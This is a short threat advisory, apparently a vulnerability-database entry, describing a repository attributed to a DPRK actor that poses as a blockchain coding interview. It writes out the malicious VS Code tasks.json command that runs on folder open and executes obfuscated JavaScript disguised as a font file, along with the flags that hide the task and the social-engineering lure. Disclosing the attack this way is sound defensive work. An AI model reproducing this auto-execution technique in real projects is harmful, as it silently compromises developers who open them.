GCVE-110-OSM-2026-1269

DPRK threat actor repository containing VS Code auto-execution malware disguised as a blockchain coding interview/assessment. Opens with malicious .vscode/tasks.json that silently executes an obfuscated JavaScript payload hidden as a font file when the victim opens the project in VS Code. === PAYLOAD: VS Code Auto-Execution === Malicious payload found in: .vscode/tasks.json Attack vector: runOn:folderOpen auto-executes hidden shell task labeled eslint-check Command: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) Payload file: public/fonts/fa-solid-400.woff2 (5,097 bytes of obfuscated JavaScript disguised as a font file) Obfuscation: Character shuffling, custom decode functions, global require hijacking, variable name obfuscation Social engineering: INSTRUCTIONS.md poses as Blockchain HomeTask Applicant Instructions with 4-6 hour coding test Task presentation is fully hidden (reveal:never, echo:false, hide:true, close:true) Cross-platform: Linux/macOS (command -v) and Windows (where)